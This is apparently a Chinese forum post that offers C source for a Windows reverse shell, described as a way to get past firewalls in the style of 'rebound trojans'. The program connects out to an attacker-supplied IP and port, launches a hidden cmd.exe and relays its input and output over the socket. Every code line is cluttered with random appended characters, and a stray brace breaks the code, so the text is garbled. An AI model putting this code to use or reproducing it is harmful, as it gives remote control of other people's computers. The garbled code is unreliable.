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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 8[LwG&  
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/* ============================== $3BCA)5:  
Rebound port in Windows NT R }M'D15  
By wind,2006/7 =jvM$  
===============================*/ kR%bdN  
#include v)@EK6Nty  
#include }49X  N  
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#pragma comment(lib,"wsock32.lib") Ws?BAfP  
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void OutputShell(); 96;17h$  
SOCKET sClient; _+0l+a*D  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; REnd# V2x  
dw,Nlf~*0  
void main(int argc,char **argv) =jdO2MgSg*  
{ BQVpp,]  
WSADATA stWsaData; IdTeue  
int nRet; 8 [i#x|`g  
SOCKADDR_IN stSaiClient,stSaiServer; U#G[#sd> K  
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if(argc != 3) D+{h@^C9Z  
{ lJ@2N$w  
printf("Useage:\n\rRebound DestIP DestPort\n"); 'U]= T<  
return; S/-[OA>N  
}  FRI<A8  
*leQd^47  
WSAStartup(MAKEWORD(2,2),&stWsaData); \FN"0P(G  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ~rE U83  
1 GUF,A+_O  
stSaiClient.sin_family = AF_INET; 7uJy<O  
stSaiClient.sin_port = htons(0); "m +Eu|{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); \{J gjd  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1\q(xka{  
{ I1U{t  
printf("Bind Socket Failed!\n"); CYrVP%xRA  
return; 3:jKuOX  
} ?cr;u~-=  
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stSaiServer.sin_family = AF_INET; .$)'7  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ju8tNL,J  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); QQP bKok>  
I z~#G6]M  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) a`(6hL3IT  
{ Woa5Ov!n0  
printf("Connect Error!"); x3>K{  
return; CF9a~^+%  
} b!SGQv(^M  
OutputShell(); 6NJ"ty9Bp  
} JC`|GaUy  
:FwXoJc_+5  
void OutputShell() /Ik_U?$*  
{ 6PT ,m  
char szBuff[1024]; )hK5_]"lmj  
SECURITY_ATTRIBUTES stSecurityAttributes; %KNnss}  
OSVERSIONINFO stOsversionInfo; aKS 2p3   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; HZCEr6}(  
STARTUPINFO stStartupInfo; :bwdEni1P  
char *szShell; {g\Yy(r  
PROCESS_INFORMATION stProcessInformation; Yo @>O98  
unsigned long lBytesRead; 1B= vrGq  
Da1BxbDeI  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =[(1u|H 9  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); /pgfa-<  
stSecurityAttributes.lpSecurityDescriptor = 0; GdEkA  
stSecurityAttributes.bInheritHandle = TRUE; <ro0}%-z>M  
qc~6F'?R  
8#'<SB  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <`5>;Xn=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jV8mn{<  
+`9 ]L]J]4  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2<>n8K  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X}p#9^%N  
stStartupInfo.wShowWindow = SW_HIDE; %Fq"4%  
stStartupInfo.hStdInput = hReadPipe; -[i9a:eRM  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SSycQ4[{o  
} IFZ$Y  
GetVersionEx(&stOsversionInfo); xy46].x-  
wx -NUTRim  
switch(stOsversionInfo.dwPlatformId) z %{>d#rw  
{ Z"'rc.>a  
case 1: [VIdw 92  
szShell = "command.com"; </tiNc  
break; Gnp,~F"  
default: GjE/!6b  
szShell = "cmd.exe"; |M#b`g$JO,  
break; K`* 8 *k{  
} cy7GiB2'  
LP_d}ve  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); i0{pm q  
p.TR1BHw  
send(sClient,szMsg,77,0); \$ ^z.  
while(1) \lCr~D5  
{ &}32X-~y  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^i_mGeu  
if(lBytesRead) ?;> s<  
{ SPOg'  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 2/=CrK  
send(sClient,szBuff,lBytesRead,0); LdI)  
} iq,qf)BY.|  
else w_@N T}  
{ VE4!=4  
lBytesRead=recv(sClient,szBuff,1024,0); ,=B "%=S  
if(lBytesRead<=0) break; 'cy35M  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -'BJhi\Y]~  
} O7ceSz  
} [Av87!kJ!X  
!vfjo[v  
return; ySP1WK  
}
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